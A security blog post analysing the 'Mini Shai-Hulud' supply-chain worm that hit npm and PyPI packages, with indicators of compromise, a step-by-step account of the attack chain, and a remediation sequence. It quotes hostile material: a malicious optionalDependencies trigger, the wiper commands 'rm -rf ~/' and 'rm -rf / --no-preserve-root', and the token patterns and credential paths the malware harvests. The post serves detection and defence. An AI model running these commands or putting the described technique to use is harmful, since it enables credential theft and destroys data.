SecurityDevSecOps

Mini Shai-Hulud: The Npm Supply Chain Attack That Changed Everything

May 13, 2026

|
SolaScript by SolaScript
Mini Shai-Hulud: The Npm Supply Chain Attack That Changed Everything

On May 11, 2026, something unprecedented happened in the open-source ecosystem. A threat actor group called TeamPCP executed one of the most sophisticated supply chain attacks ever documented—compromising over 170 packages across npm and PyPI, publishing more than 400 malicious versions in a single coordinated five-hour window. The attack hit TanStack (the routing library powering millions of React, Vue, and Solid applications with 12+ million weekly downloads), Mistral AI’s official SDKs, UiPath’s enterprise automation platform, OpenSearch’s JavaScript client, and Guardrails AI’s Python framework.

But here’s what makes this fundamentally different from everything that came before: the attackers didn’t steal credentials from developer laptops. They weaponized the CI/CD infrastructure itself. SafeDep’s detailed analysis tracks this as the “Mini Shai-Hulud” campaign—a reference to the sandworms of Dune that TeamPCP has embedded throughout their malware’s lifecycle. By chaining pull_request_target misconfigurations, GitHub Actions cache poisoning, and runtime memory extraction of OIDC tokens, the malware bypassed modern two-factor authentication entirely. The resulting packages were published with valid, cryptographically signed SLSA Build Level 3 provenance attestations.

The cryptography verified the malware was “legitimately” built—because the pipeline itself was compromised.

Let’s break down exactly what happened, how to determine if you’re impacted, and the precise remediation steps required.

The Evolution of TeamPCP: From Nuisance to Catastrophe

TeamPCP didn’t emerge from nowhere. They’ve been systematically improving their tradecraft since late 2025, with each campaign introducing new capabilities:

CampaignDateScaleKey Innovation
Shai-Hulud (Original)Sep 14–16, 2025500+ packagesBasic worm architecture, standard Node.js execution
Shai-Hulud 2.0Nov 21–23, 2025700+ repositoriesExpanded credential collection surface
Trivy/BitwardenMar/Apr 2026Security toolsPivoted to compromising security scanners and password managers
Mini Shai-Hulud Wave 1Apr 29–30, 2026SAP packagesIntroduced Bun runtime evasion, IDE persistence, ctf-scramble-v2 cipher
Mini Shai-Hulud Wave 2May 11–12, 2026170+ packagesOIDC extraction, SLSA bypass, cross-ecosystem (npm+PyPI), dead-man’s switch

Each iteration built on the last. The April SAP wave used explicit "preinstall": "node setup.mjs" hooks that showed up in code review. The May campaign adopted stealthier optionalDependencies resolution attacks that leave no trace in node_modules. This wasn’t opportunistic hacking—it was systematic R&D into exploiting the trust relationships that modern software development depends on.

The Scope: What Got Hit

Before diving into the technical analysis, let’s talk about who needs to be worried right now.

npm Packages (170+ packages, 404 malicious versions)

NamespacePackagesVersionsImpact
@tanstack42 packages84 versions (1.166.x–1.169.x)Core routing for React, Vue, Solid. @tanstack/react-router has 12M+ weekly downloads
@uipath66 packages66 versionsEnterprise RPA platform: agent SDKs, robot runtimes, orchestrator tools
@mistralai3 packages9 versionsOfficial Mistral AI TypeScript SDK + Azure/GCP integrations
@opensearch-project1 package4 versions (3.5.3, 3.6.2, 3.7.0, 3.8.0)Official OpenSearch JS client (1.3M weekly downloads)
@squawk20+ packages110 versionsWeather tracking, flight plan utilities, MCP tools
@tallyui10 packages30 versionsMedusa/Vendure e-commerce connectors
@beproduct1 package18 versions (0.1.2–0.1.19)Enterprise NestJS authentication

PyPI Packages

PackageMalicious VersionStatus
mistralai2.4.6Quarantined. Legitimate version was 2.4.5 (May 7). No v2.4.6 tag exists in GitHub.
guardrails-ai0.10.1Quarantined. LLM guardrails framework.

The TanStack ecosystem took the largest hit among well-known projects. The attacker published malicious versions of every router-related package—@tanstack/react-router, @tanstack/vue-router, @tanstack/solid-router—along with their devtools, SSR query plugins, start frameworks, and build tooling. If your project pulled these versions during the attack window, you ran the malicious preinstall hook.

UiPath got hit even harder by raw numbers: 66 packages across their entire npm scope, spanning agent SDKs, robot runtimes, orchestrator tools, and integration services. Enterprise RPA infrastructure, potentially compromised.

And they didn’t stay in one ecosystem. The attacker crossed registries: mistralai==2.4.6 appeared on PyPI with a completely different payload delivery mechanism. Mistral AI never released that version—no v2.4.6 tag exists in the GitHub repository.

Are You Affected?

Here’s the quick check. For npm projects, grep your lockfile for the compromised version ranges:

# Check for compromised TanStack versions
grep -E "@tanstack.*1\.(166|167|168|169)\." package-lock.json

# Check for Mistral AI compromised versions
grep -E "@mistralai.*2\.2\.[2-4]" package-lock.json

# Check for OpenSearch compromised versions
grep -E "@opensearch-project/opensearch.*(3\.5\.3|3\.6\.2|3\.7\.0|3\.8\.0)" package-lock.json

# Check for UiPath (any version from May 11-12)
grep "@uipath" package-lock.json

For Python, check if you installed the poisoned versions:

# Check for compromised Mistral AI
pip show mistralai | grep -E "Version: 2\.4\.6"

# Check for compromised Guardrails AI
pip show guardrails-ai | grep -E "Version: 0\.10\.1"

But here’s what makes this attack particularly nasty: running npm uninstall doesn’t clean you up. The payload drops persistence hooks into your IDE configuration. Even if you’ve removed the packages, check for these files:

# IDE persistence (these indicate active compromise)
find . -name "router_runtime.js" -path "*/.claude/*"
find . -name "setup.mjs" -path "*/.claude/*" -o -name "setup.mjs" -path "*/.vscode/*"
grep -r "runOn.*folderOpen" .vscode/tasks.json 2>/dev/null
grep -r "SessionStart" .claude/settings.json 2>/dev/null

And critically, check for the dead-man’s switch daemon:

# Linux
systemctl --user status gh-token-monitor.service 2>/dev/null
ls ~/.local/bin/gh-token-monitor.sh 2>/dev/null
ls ~/.config/systemd/user/gh-token-monitor.service 2>/dev/null

# macOS
ls ~/Library/LaunchAgents/com.user.gh-token-monitor.plist 2>/dev/null

If any of those exist, you’re compromised—and you need to follow the remediation sequence carefully. More on that shortly.

Indicators of Compromise

For those running threat hunts, here’s what to look for:

Network Indicators

TypeIndicatorPurpose
C2/Exfilfilev2.getsession.org/file/Session messenger file upload
C2/Exfilseed1.getsession.org, seed2.getsession.org, seed3.getsession.orgSession swarm bootstrap
C2git-tanstack.comPyPI payload staging
C2api.masscan.cloudSecondary C2 endpoint
Metadata169.254.169.254/latest/meta-data/iam/security-credentials/AWS credential harvesting
Vault127.0.0.1:8200HashiCorp Vault probe

File Indicators

PathPurpose
.claude/router_runtime.jsBase64-encoded copy of full malware payload
.claude/setup.mjsClaude Code execution hook
.claude/settings.jsonModified with malicious SessionStart hook
.vscode/setup.mjsVS Code execution hook
.vscode/tasks.jsonModified with runOn: folderOpen trigger
~/.local/bin/gh-token-monitor.shDead-man’s switch script (Linux)
~/.config/systemd/user/gh-token-monitor.serviceSystemd persistence (Linux)
~/Library/LaunchAgents/com.user.gh-token-monitor.plistLaunchAgent persistence (macOS)
/tmp/transformers.pyzPyPI payload staging path

Cryptographic Signature

The malware uses a PBKDF2-derived cipher (ctf-scramble-v2) with a unique hardcoded salt that cryptographically links this campaign to earlier TeamPCP attacks:

Salt: 5012caa5847ae9261dfa16f91417042f367d6bed149c3b8af7a50b203a093007
Iterations: 200,000

If you find this salt in deobfuscated malware samples, you’re looking at TeamPCP’s work.

The Attack Chain: Weaponizing CI/CD

The technical sophistication here is genuinely alarming. Let me walk through how they compromised TanStack, because it illustrates the entire methodology.

Step 1: The Orphaned Commit

On May 10, the attacker created a fork of TanStack/router and pushed a single orphaned commit—a Git anomaly with no parent history, completely invisible to standard log inspection. The commit hash was 79ac49eedf774dd4b0cfa308722bc463cfe5885c. This commit contained two files: a fake package.json defining @tanstack/setup and the primary malicious script, tanstack_runner.js, weighing in at 2.3 megabytes of obfuscated JavaScript.

To evade automated security monitoring that flags suspicious fork activity on high-profile repositories, the attacker named the fork configuration rather than mirroring the upstream name.

Step 2: Cache Poisoning via pull_request_target

The submission of a pull request triggered a vulnerable pull_request_target workflow defined within the TanStack repository. This is a critical security risk that most developers don’t understand: unlike standard pull_request events which execute in an isolated, unprivileged context, pull_request_target executes within the context of the base repository. That means direct access to secrets and write permissions.

The attacker didn’t execute the primary payload immediately—that would cause the build to fail and trigger alerts. Instead, they used this privileged context to poison the shared GitHub Actions cache with a maliciously altered pnpm dependency cache containing the primary worm payload. Because Actions caches fall back to the main branch cache to optimize build times, the poisoned artifacts were strategically staged for the next legitimate build.

Step 3: OIDC Token Extraction from Process Memory

The trap sprung when legitimate TanStack maintainers merged completely unrelated, approved pull requests into main. This routine action triggered the official release workflow. The workflow, operating under the assumption of a secure environment, restored dependencies from the poisoned GitHub Actions cache.

Once the poisoned build tools executed, the malicious code deployed a Python helper script designed to scrape the memory of the host runner. GitHub Actions runners mask secrets in output logs, preventing accidental disclosure. But those secrets necessarily exist in plaintext within the memory space of the Runner.Worker process during execution.

The script systematically scanned /proc to locate the PID of the Runner.Worker daemon, accessed /proc/[pid]/mem, and dumped the runner’s entire readable address space. It then parsed the dump using regular expressions to identify JSON objects matching {"value":"...","isSecret":true}. This harvested every secret loaded into the workflow context—most critically, the ACTIONS_ID_TOKEN, a short-lived OIDC token verifying the cryptographic identity of the repository and workflow.

Step 4: Defeating SLSA Provenance

Armed with the OIDC token, the Mini Shai-Hulud worm effectively bypassed traditional two-factor authentication. The npm ecosystem’s trusted publishing model allows GitHub Actions to publish packages without storing long-lived static tokens, theoretically reducing compromise risk. But the worm exploited this exact trust binding.

The payload sent a POST request directly to npm’s OIDC exchange endpoint:

POST https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/{package_name}
Authorization: Bearer {ACTIONS_ID_TOKEN}

The registry authenticated the request as originating from the legitimate, verified TanStack workflow and returned a per-package publishKey.

Because the malicious publication sequence occurred natively within the project’s authorized GitHub Actions environment, the workflow retained its trusted access to Sigstore—specifically Fulcio (the certificate authority) and Rekor (the transparency log). The worm requested a short-lived signing certificate using the stolen tokens and successfully signed the malicious artifacts.

The resulting packages were submitted to the transparency log and published with fully valid SLSA Build Level 3 provenance attestations. This is the paradigm shift: the provenance verified, mathematically, that the package was indeed built by the designated TanStack CI/CD pipeline. The cryptography functioned perfectly and exactly as designed. But the pipeline itself had been subverted to build malware.

The Payload: Beyond Simple Credential Theft

The router_init.js payload demonstrates deep understanding of enterprise environments. It’s not just stealing passwords—it’s designed for lateral movement across cloud infrastructure.

Three-Layer Obfuscation

The attackers deployed a sophisticated protection scheme to frustrate analysis:

Layer 1: String-Array Rotation. The outermost layer uses canonical JavaScript obfuscator patterns—a self-invoking string-array rotation bootstrap with a dispatcher function called thousands of times on a single line. All string literals are replaced by dynamic array lookups computed at runtime.

Layer 2: ctf-scramble-v2 Cipher. Beneath that, a bespoke cipher using per-byte Fisher-Yates substitution over PBKDF2-keyed decryption with 200,000 iterations and the unique hardcoded salt mentioned earlier.

Layer 3: Source Code Padding. To defeat automated malware scanners that rely on file size limits, the attackers bundled large, unmodified sections of the open-source Session Messenger source code. This inflated the file to 2.3MB while obscuring malicious code within legitimate cryptographic and networking logic.

Runtime Evasion via Bun

Instead of executing via Node.js, the payload downloads Bun 1.3.13 and runs through that runtime. Most EDR systems hook into node binary execution paths—by introducing a different runtime written in Zig, the malware operates in a defensive blind spot.

The TanStack packages use a particularly subtle trigger. Rather than modifying the scripts block (which would be visible in code review), they injected a single optionalDependencies entry pointing to the malicious orphaned commit:

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

When npm resolves this git dependency, it clones the commit and runs the prepare script, which executes bun run tanstack_runner.js && exit 1. The && exit 1 forces the prepare step to fail after execution. Because it’s an optional dependency, npm silently ignores the failure and proceeds, leaving no trace in node_modules even though the payload has already executed.

What Gets Harvested

The malware runs five parallel collector threads targeting an extensive credential surface:

TargetWhat’s HarvestedCollection Method
AWSAWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, IAM instance credentialsIMDSv2 probe (169.254.169.254), ~/.aws/credentials, ~/.aws/config
GCPService account JSONGOOGLE_APPLICATION_CREDENTIALS, filesystem scan
AzureClient secrets, certificate pathsAZURE_CLIENT_SECRET, environment variables
GitHubPATs, OAuth tokens, Actions OIDCgh auth token CLI, env vars, .git-credentials
npmPublish tokens~/.npmrc, project .npmrc, environment variables
KubernetesService account tokensDefault token paths
HashiCorp VaultVAULT_TOKEN, VAULT_AUTH_TOKENProbes vault.svc.cluster.local:8200
SSHPrivate keys~/.ssh/id_rsa, ~/.ssh/id_ed25519
MiscElectrum wallets, Signal configs, .env filesFilesystem sweep

The token patterns the malware scans for:

/ghp_[A-Za-z0-9_\-\.]{36,}/g    // GitHub Personal Access Tokens
/gho_[A-Za-z0-9_\-\.]{36,}/g    // GitHub OAuth Tokens
/ghs_[A-Za-z0-9]{36,}/g          // GitHub App Installation Tokens
/npm_[A-Za-z0-9_\-\.]{36,}/g    // npm Publish Tokens

Exfiltration: Session Protocol and GitHub Dead-Drops

Perhaps the cleverest evasion: stolen credentials are exfiltrated through the Session onion-routed messenger network. This isn’t a simple HTTP POST to a C2 domain. The payload embeds a full Session client implementation, bootstrapping from seed nodes (seed1.getsession.org, seed2.getsession.org, seed3.getsession.org) with pinned TLS certificates issued by the Oxen Privacy Tech Foundation.

All collected data is compressed and encrypted with AES-256-GCM. The symmetric key is wrapped using RSA-4096-OAEP with a hardcoded public key. Even if defenders locate the exfiltrated data, it’s inaccessible without the attacker’s private key.

You can’t take down a decentralized network the way you can seize a domain.

But there’s a fallback too. Because api.github.com is virtually always allowlisted in CI/CD egress policies, the malware uses stolen GitHub tokens to create private repositories—names generated from a 256,000-combination Dune-themed vocabulary like sardaukar-ghola-567 or tleilaxu-ornithopter-43—and commits encrypted credential blobs as files. These commits are authored as [email protected].

The Dead-Man’s Switch

This is where the attack enters genuinely dark territory. The malware doesn’t simply steal data and exit. During initial execution, it establishes an OS-level persistence daemon.

On Linux, it writes a shell script to ~/.local/bin/gh-token-monitor.sh and registers a user-level systemd service at ~/.config/systemd/user/gh-token-monitor.service. On macOS, it achieves the same with a LaunchAgent at ~/Library/LaunchAgents/com.user.gh-token-monitor.plist.

This daemon serves a singular, extortionate purpose: it continuously polls api.github.com/user every 60 seconds, authenticating with the developer’s stolen GitHub token.

When security teams discover a credential leak, standard operating procedures dictate immediate revocation. But TeamPCP anticipated this. If someone revokes the token via GitHub’s dashboard, the next polling request returns HTTP 403. The daemon interprets this as “we’ve been discovered” and executes:

rm -rf ~/

This permanently destroys the developer’s entire home directory—source code, configurations, local databases, everything.

The attackers explicitly telegraph this behavior. The malware attaches a description to generated tokens, visible in authorization dashboards:

IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner

The daemon auto-exits after 24 hours if not triggered, indicating a focused operational window.

PyPI-Specific Wiper Logic

The Python payloads include additional targeted destruction. If system timezone or language settings indicate Israel or Iran, the payload uses randomized execution (random.randint(1,6) == 2) to attempt:

rm -rf / --no-preserve-root

This seeks to destroy the entire root filesystem.

IDE Persistence: Why npm uninstall Isn’t Enough

Traditional malware eradication assumes removing the offending executable neutralizes the threat. That assumption fails here.

The payload drops configuration files that re-execute when developers open their projects:

Claude Code:

  • .claude/settings.json — hooks the SessionStart event
  • .claude/setup.mjs — execution script
  • .claude/router_runtime.js — base64-encoded copy of the full payload (copied from Bun.main)

VS Code:

  • .vscode/tasks.json — adds "runOn": "folderOpen" directive
  • .vscode/setup.mjs — execution script

Opening the project in VS Code or running Claude Code triggers the payload without any explicit action. Worse, these configurations get committed back to Git under innocent-looking messages like “chore: update dependencies” with Co-authored-by trailers to appear collaborative. Anyone who clones or pulls the repository inherits the infection.

Autonomous Worm Propagation

When the payload finds a valid npm token with bypass_2fa: true or extracts a GitHub OIDC token capable of exchange, it initiates a massive self-replication sequence.

It queries the npm registry to enumerate every package the compromised user maintains:

GET https://registry.npmjs.org/-/v1/search?text=maintainer:<user>

For each discovered package, it downloads the current legitimate tarball, injects its obfuscated payload alongside the optionalDependencies trigger, bumps the patch version (typically +3 to override current dependencies), and republishes.

This identity-driven propagation means a single compromised developer or CI runner can infect dozens of otherwise secure libraries within seconds, spreading geometrically through the dependency graph.

Incident Response: The Required Sequence

Here’s the critical part: traditional response will trigger the wiper. You must follow this order exactly.

Phase 1: Kill the Dead-Man’s Switch

Before touching any credentials, terminate the monitor daemon.

Linux:

# Stop and disable the service
systemctl --user stop gh-token-monitor.service
systemctl --user disable gh-token-monitor.service

# Remove the files
rm ~/.config/systemd/user/gh-token-monitor.service
rm ~/.local/bin/gh-token-monitor.sh

# Reload systemd
systemctl --user daemon-reload

macOS:

# Unload the LaunchAgent
launchctl unload ~/Library/LaunchAgents/com.user.gh-token-monitor.plist

# Remove the file
rm ~/Library/LaunchAgents/com.user.gh-token-monitor.plist

Only after confirming the daemon is dead do you move forward.

Phase 2: Purge IDE Persistence

Here’s the insidious part: the malware doesn’t just run once. It installs hooks into your development environment that re-execute the payload every time you open a project. Even if you’ve run npm uninstall on every compromised package, these hooks remain active.

The Claude Code infection works by modifying .claude/settings.json to trigger a SessionStart hook. When you launch Claude Code in the repository, it automatically runs .claude/setup.mjs, which loads .claude/router_runtime.js—a base64-encoded copy of the entire 2.3MB malware payload. Every single time you open the project.

VS Code gets the same treatment through .vscode/tasks.json. The attackers add a task with "runOn": "folderOpen", which means the malicious .vscode/setup.mjs executes the moment you open the folder in VS Code. No build command required, no terminal interaction—just opening the directory is enough.

You need to surgically remove these files:

# Find and remove malicious files across all repos
find ~/projects -name "router_runtime.js" -path "*/.claude/*" -delete
find ~/projects -name "setup.mjs" \( -path "*/.claude/*" -o -path "*/.vscode/*" \) -delete

But deletion isn’t enough. You also need to manually audit the configuration files themselves:

For .claude/settings.json, look for any SessionStart hook entries and remove them. For .vscode/tasks.json, search for "runOn": "folderOpen" directives—legitimate VS Code tasks don’t typically auto-execute on folder open, so any such entry is suspicious.

The real danger here is that these files get committed to Git. The malware authors them under innocuous commit messages like “chore: update dependencies” with Co-authored-by trailers to make them look like normal collaborative commits. If you don’t clean them from your repository, the next git pull by any team member re-infects them.

Phase 3: Network Containment

The malware uses multiple exfiltration channels, and you need to understand each one to effectively block them.

The primary channel is the Session messenger network. Session is a legitimate, privacy-focused decentralized messenger built on the Oxen network—which makes it perfect for malware authors. The payload doesn’t just send data to a C2 domain you can blocklist; it embeds a full Session client and routes encrypted traffic through a swarm of nodes. Blocking *.getsession.org cuts off the bootstrap process (the malware needs to contact seed nodes like seed1.getsession.org to discover the swarm), but it’s not a complete solution.

The secondary channel is git-tanstack.com, a typosquatted domain the attackers registered on May 9. This served the PyPI payload (transformers.pyz) and may be used for additional C2 traffic. Cloudflare has flagged it as a suspected phishing site, but block it at your perimeter anyway.

The third channel is api.masscan.cloud, used for auxiliary C2 communication.

Add these to your firewall or proxy blocklist:

*.getsession.org
git-tanstack.com
api.masscan.cloud

Here’s the problem: the attackers anticipated network-level blocking. The malware includes a fallback that uses GitHub’s GraphQL API (api.github.com) to exfiltrate data. It creates private repositories under the victim’s account and commits encrypted credential blobs as files. Since virtually every corporate network allowlists GitHub for CI/CD, this traffic sails through your perimeter controls looking like normal Git operations.

You can’t realistically block api.github.com, which is why credential rotation (Phase 4) is critical even after network containment.

Phase 4: Total Credential Rotation

Now—and only now—do you revoke credentials. If you’d done this first, the dead-man’s switch would have wiped your home directory.

The scope of rotation needs to match the scope of what the malware harvests. This isn’t just “change your npm token.” The credential harvester has dedicated collection modules for every major cloud provider and secret store. Assume everything is compromised.

Package registries: Regenerate all npm tokens. If you use GitHub Packages or other registries, rotate those too. The malware specifically scans for tokens matching /npm_[A-Za-z0-9_\-\.]{36,}/g.

GitHub: Revoke and regenerate all Personal Access Tokens and OAuth tokens. The malware captures anything matching ghp_*, gho_*, and ghs_* patterns. Check your GitHub settings for any tokens you don’t recognize—especially ones with descriptions containing threatening messages about wiping computers.

AWS: Rotate IAM access keys. The malware probes the Instance Metadata Service at 169.254.169.254 and parses ~/.aws/credentials. If you were running on EC2, assume your instance role credentials were captured too.

GCP: Generate new service account keys. The malware checks GOOGLE_APPLICATION_CREDENTIALS and sweeps the filesystem for JSON key files.

Azure: Rotate client secrets and check for compromised certificate paths via AZURE_CLIENT_SECRET.

SSH: This is painful but necessary. Generate new SSH key pairs and update authorized_keys on every server and bastion host. The malware explicitly targets ~/.ssh/id_rsa and ~/.ssh/id_ed25519.

Kubernetes: Rotate service account tokens. If you were running in a cluster, assume pod credentials were captured.

HashiCorp Vault: Rotate VAULT_TOKEN and VAULT_AUTH_TOKEN. The malware probes vault.svc.cluster.local:8200 looking for Vault instances.

Environment files: Audit every .env file in your projects. The malware sweeps for these and extracts any secrets defined in them.

This is a significant operational burden, but half-measures leave you vulnerable to the credentials already exfiltrated.

Phase 5: Package Remediation

Your node_modules directory and lockfile cannot be trusted. Even if you’ve identified and removed specific compromised packages, the worm’s propagation mechanism means any package maintained by a compromised developer could be infected.

Start clean:

rm -rf node_modules package-lock.json

When you reinstall, use npm ci instead of npm install. The difference matters: npm install will update your lockfile based on semver ranges in package.json, potentially pulling in new (compromised) versions. npm ci strictly installs exactly what’s in the lockfile—it fails if the lockfile is out of sync rather than silently updating it.

npm ci

For CI/CD pipelines, consider temporarily disabling lifecycle scripts entirely:

npm config set ignore-scripts true

This prevents preinstall, postinstall, and prepare hooks from executing—which is exactly how Mini Shai-Hulud delivered its payload. The tradeoff is that legitimate packages relying on postinstall scripts (native modules, build steps) will break. It’s a temporary measure while you audit your dependency tree.

Going forward, implement a dependency update policy with cooldown periods. Don’t automatically pull the latest patch version the day it’s released. A 7-14 day delay gives security researchers and automated scanning tools time to flag malicious packages before they hit your production builds.

Phase 6: Git History Audit

The malware commits its persistence hooks back into your repository. These aren’t just local infections—they’re version-controlled time bombs waiting for the next git clone or git pull.

Search your Git history for recent commits touching .claude/ and .vscode/ directories:

git log --oneline --all -- '.claude/' '.vscode/'

The malware authors commits using Co-authored-by trailers to make them appear like normal collaborative work. Look for commit messages like “chore: update dependencies” or “chore: sync config” that you don’t remember making.

If you find malicious commits, you have two options. For recent commits not yet pushed to shared branches, interactive rebase can remove them cleanly. For commits already in shared history, you’ll need to coordinate with your team on a force push (with all the usual caveats about rewriting shared history) or accept that you’re doing a revert commit that leaves the malicious content in history but removes it from the working tree.

Check any forks and downstream repositories. If your repository was compromised and others have cloned or forked it since, they’ve inherited the infection.

Strategic Implications

This attack exposes fundamental architectural assumptions that no longer hold.

SLSA provenance is necessary but insufficient. When attackers control the build environment, signed attestations verify that malware was “legitimately” built. The cryptography works; the trust model doesn’t.

CI/CD runners are not trusted environments. They have ambient authority—secrets, network access, publishing rights—and must be treated as potentially hostile external environments requiring zero-trust configuration.

The path forward requires systemic changes:

  • Release cooldowns: Enforce 7-14 day delays before adopting new package versions, giving ecosystem threat intelligence time to catch anomalies
  • Immutable pinning: Pin GitHub Actions to SHA hashes rather than mutable tags
  • Strict lockfiles: Use npm ci exclusively in CI/CD
  • Secret isolation: Consider Cloud Development Environments (CDEs) that keep infrastructure secrets off local machines
  • Behavioral monitoring: Deploy eBPF-based monitoring in CI runners to detect unauthorized memory scraping or anomalous OIDC token exchanges
  • Egress filtering: Block unexpected outbound connections from build processes

The Mini Shai-Hulud campaign represents the maturation of supply chain attacks. High-speed autonomous propagation, robust anti-analysis architectures, OIDC subversion, and psychological manipulation through the dead-man’s switch mean that package compromise is no longer a silent data breach—it’s a volatile event capable of cascading destruction across the global open-source ecosystem.

The worm has learned to ride the infrastructure. Time to rebuild the desert.

author-avatar

Published by

Sola Fide Technologies - SolaScript

This blog post was crafted by AI Agents, leveraging advanced language models to provide clear and insightful information on the dynamic world of technology and business innovation. Sola Fide Technology is a leading IT consulting firm specializing in innovative and strategic solutions for businesses navigating the complexities of modern technology.

Keep Reading

Related Insights

Stay Updated